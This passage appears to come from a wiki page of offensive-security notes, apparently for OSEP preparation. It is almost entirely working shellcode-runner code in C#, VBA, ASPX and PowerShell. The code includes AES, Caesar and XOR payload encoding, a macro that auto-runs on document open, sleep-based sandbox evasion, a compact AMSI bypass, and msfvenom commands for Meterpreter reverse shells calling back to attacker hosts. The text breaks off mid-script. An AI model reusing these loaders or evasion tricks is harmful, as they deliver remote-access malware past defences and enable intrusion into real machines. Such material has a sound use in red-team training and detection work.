 * Simple-Loader.exe: Simple Shellcode Loader   |&lt;br /&gt;
 *                                              |&lt;br /&gt;
 * Author: @jfaust0                             |&lt;br /&gt;
 * Contact: joshua.faust@sevrosecurity.com      |&lt;br /&gt;
 * Website: SevroSecurity.com                   |&lt;br /&gt;
 * ---------------------------------------------*/&lt;br /&gt;
&lt;br /&gt;
namespace goodTimes&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // CHANGE THESE VALUES --&amp;gt; Seriosuly, these should not be hard coded!&lt;br /&gt;
        public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };&lt;br /&gt;
        public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };&lt;br /&gt;
        // MAIN&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String app_name = AppDomain.CurrentDomain.FriendlyName;&lt;br /&gt;
            String usage = $&amp;quot;Usage: {app_name} &amp;quot;;&lt;br /&gt;
            // ENCRYPT PAYLOAD&lt;br /&gt;
            if (args.Length == 1)&lt;br /&gt;
            {&lt;br /&gt;
                if (!File.Exists($@&amp;quot;{args[0]}&amp;quot;))&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;[!] File Does Not Exist!&amp;quot;);&lt;br /&gt;
                    Environment.Exit(1);&lt;br /&gt;
                }&lt;br /&gt;
                Console.WriteLine(&amp;quot;[i] Encrypting Data&amp;quot;);&lt;br /&gt;
                // Read in MetaSploit Byte[] Code from File&lt;br /&gt;
                String fileData = System.IO.File.ReadAllText($@&amp;quot;{args[0]}&amp;quot;);&lt;br /&gt;
                String tmp = (fileData.Split(&#039;{&#039;)[1]).Split(&#039;}&#039;)[0];&lt;br /&gt;
                // Translate to Byte Array&lt;br /&gt;
                string[] s = tmp.Split(&#039;,&#039;);&lt;br /&gt;
                byte[] data = new byte[s.Length];&lt;br /&gt;
                for (int i = 0; i  1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(usage);&lt;br /&gt;
                Environment.Exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            // RUN PAYLOAD&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                // msfvenom -p windows/exe cmd=calc.exe -f csharp --&amp;gt; CHANGE ME!&lt;br /&gt;
                String hiphop = &amp;quot;ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o&amp;quot;;&lt;br /&gt;
                byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);&lt;br /&gt;
                nonsense(de_data);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Shell Code Loader&lt;br /&gt;
        public static bool nonsense(byte[] shellcode)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,&lt;br /&gt;
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);&lt;br /&gt;
                IntPtr hThread = IntPtr.Zero;&lt;br /&gt;
                UInt32 threadId = 0;&lt;br /&gt;
                IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);&lt;br /&gt;
                WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
                return true;&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.Error.WriteLine(&amp;quot;exception: &amp;quot; + e.Message);&lt;br /&gt;
                return false;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Used to Load Shellcode into Memory:&lt;br /&gt;
        private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,&lt;br /&gt;
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern IntPtr CreateThread(&lt;br /&gt;
          UInt32 lpThreadAttributes,&lt;br /&gt;
          UInt32 dwStackSize,&lt;br /&gt;
          UInt32 lpStartAddress,&lt;br /&gt;
          IntPtr param,&lt;br /&gt;
          UInt32 dwCreationFlags,&lt;br /&gt;
          ref UInt32 lpThreadId&lt;br /&gt;
          );&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 WaitForSingleObject(&lt;br /&gt;
          IntPtr hHandle,&lt;br /&gt;
          UInt32 dwMilliseconds&lt;br /&gt;
        );&lt;br /&gt;
&lt;br /&gt;
        public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, encryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, decryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)&lt;br /&gt;
        {&lt;br /&gt;
            using (var ms = new MemoryStream())&lt;br /&gt;
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))&lt;br /&gt;
            {&lt;br /&gt;
                cryptoStream.Write(data, 0, data.Length);&lt;br /&gt;
                cryptoStream.FlushFinalBlock();&lt;br /&gt;
                return ms.ToArray();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Csharp shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
            uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,&lt;br /&gt;
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,&lt;br /&gt;
            UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfe, 0x4a,.....&lt;br /&gt;
};&lt;br /&gt;
            for(int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)(((uint)buf[i] - 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,&lt;br /&gt;
                IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Change the XOR vba runner with this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
For i = 0 To UBound(buf)&lt;br /&gt;
buf(i) = buf(i) - 2&lt;br /&gt;
Next i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
namespace rev&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint EXECUTEREADWRITE  = 0x40;&lt;br /&gt;
        public const uint COMMIT_RESERVE = 0x3000;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;Kernel32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);&lt;br /&gt;
        public static void Main()&lt;br /&gt;
        {&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa&lt;br /&gt;
            };&lt;br /&gt;
            int payloadSize = buf.Length;&lt;br /&gt;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Marshal.Copy(buf, 0, payAddr, payloadSize);&lt;br /&gt;
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);&lt;br /&gt;
            int waitResult = WaitForSingleObject(payThreadId, -1);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function Sleep Lib &amp;quot;kernel32&amp;quot; (ByVal mili As Long) As Long&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;kernel32&amp;quot; (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;kernel32&amp;quot; (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;kernel32&amp;quot; (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function FlsAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal callback As LongPtr) As LongPtr&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    Dim allocRes As LongPtr&lt;br /&gt;
    Dim t1 As Date&lt;br /&gt;
    Dim t2 As Date&lt;br /&gt;
    Dim time As Long&lt;br /&gt;
    Dim buf As Variant&lt;br /&gt;
    Dim addr As LongPtr&lt;br /&gt;
    Dim counter As Long&lt;br /&gt;
    Dim data As Long&lt;br /&gt;
    Dim res As LongPtr&lt;br /&gt;
    &#039; Call FlsAlloc and verify if the result exists&lt;br /&gt;
    allocRes = FlsAlloc(0)&lt;br /&gt;
    If IsNull(allocRes) Then&lt;br /&gt;
        End&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Sleep for 10 seconds and verify time passed&lt;br /&gt;
    t1 = Now()&lt;br /&gt;
    Sleep (10000)&lt;br /&gt;
    t2 = Now()&lt;br /&gt;
    time = DateDiff(&amp;quot;s&amp;quot;, t1, t2)&lt;br /&gt;
    If time &amp;lt; 10 Then&lt;br /&gt;
        Exit Sub&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)&lt;br /&gt;
    buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)&lt;br /&gt;
    &#039; Allocate memory space&lt;br /&gt;
    addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
    &#039; Decode the shellcode&lt;br /&gt;
    For i = 0 To UBound(buf)&lt;br /&gt;
        buf(i) = buf(i) Xor 250&lt;br /&gt;
    Next i&lt;br /&gt;
    &#039; Move the shellcode&lt;br /&gt;
    For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
        data = buf(counter)&lt;br /&gt;
        res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
    Next counter&lt;br /&gt;
    &#039; Execute the shellcode&lt;br /&gt;
    res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Simple Shellcode Runners ==&lt;br /&gt;
&lt;br /&gt;
=== ASPX ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;%@ Page Language=&amp;quot;C#&amp;quot; AutoEventWireup=&amp;quot;true&amp;quot; %&amp;gt;&lt;br /&gt;
&amp;lt;%@ Import Namespace=&amp;quot;System.IO&amp;quot; %&amp;gt;&lt;br /&gt;
&amp;lt;script runat=&amp;quot;server&amp;quot;&amp;gt;&lt;br /&gt;
    private static Int32 MEM_COMMIT=0x1000;&lt;br /&gt;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]  &lt;br /&gt;
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true,ExactSpelling = true)]   &lt;br /&gt;
    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;)]  &lt;br /&gt;
    private static extern IntPtr GetCurrentProcess();&lt;br /&gt;
&lt;br /&gt;
    protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;
    {&lt;br /&gt;
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
        if(mem == null)&lt;br /&gt;
        {&lt;br /&gt;
            return;&lt;br /&gt;
        }&lt;br /&gt;
        &lt;br /&gt;
        // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx&lt;br /&gt;
        byte[] oe7hnH0 = new byte[666] {0x01, 0x4d, 0x88, ...};&lt;br /&gt;
        for(int i = 0; i &amp;lt; oe7hnH0.Length; i++)&lt;br /&gt;
        {&lt;br /&gt;
        oe7hnH0[i] = (byte)(((uint)oe7hnH0[i] - 5) &amp;amp; 0xFF);&lt;br /&gt;
        }&lt;br /&gt;
        IntPtr uKVv = VirtualAlloc(IntPtr.Zero,(UIntPtr)oe7hnH0.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        System.Runtime.InteropServices.Marshal.Copy(oe7hnH0,0,uKVv,oe7hnH0.Length);&lt;br /&gt;
        IntPtr xE34tIARlB = IntPtr.Zero;&lt;br /&gt;
        IntPtr iwuox = CreateThread(IntPtr.Zero,UIntPtr.Zero,uKVv,IntPtr.Zero,0,ref xE34tIARlB);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
If compiled for x64 remember to set architecture to x64 in visual studios.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&lt;br /&gt;
            byte[] buf = new byte[630] {&lt;br /&gt;
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,&lt;br /&gt;
                // ... (other bytes)&lt;br /&gt;
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5&lt;br /&gt;
            };&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
==== Ver 1 - Ported from Csharp to Powershell ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$Kernel32 = @&amp;quot;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
public&lt;br /&gt;
class Kernel32 {&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)] public static extern IntPtr VirtualAlloc(&lt;br /&gt;
      IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi)] public static extern IntPtr&lt;br /&gt;
  CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
               IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,&lt;br /&gt;
               IntPtr lpThreadId);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)] public static extern UInt32&lt;br /&gt;
  WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
}&lt;br /&gt;
&amp;quot;@&lt;br /&gt;
Add-Type $Kernel32&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..&lt;br /&gt;
$size = $buf.Length&lt;br /&gt;
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)&lt;br /&gt;
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);&lt;br /&gt;
[Kernel32]::WaitForSingleObject($thandle, [uint32]&amp;quot;0xFFFFFFFF&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ver 2 ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Compact AMSI bypass&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Shellcode loader &amp;gt;:]&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Allocate executable memory&lt;br /&gt;
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
# Copy shellcode to allocated memory&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
# Execute shellcode and wait for it to exit&lt;br /&gt;
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
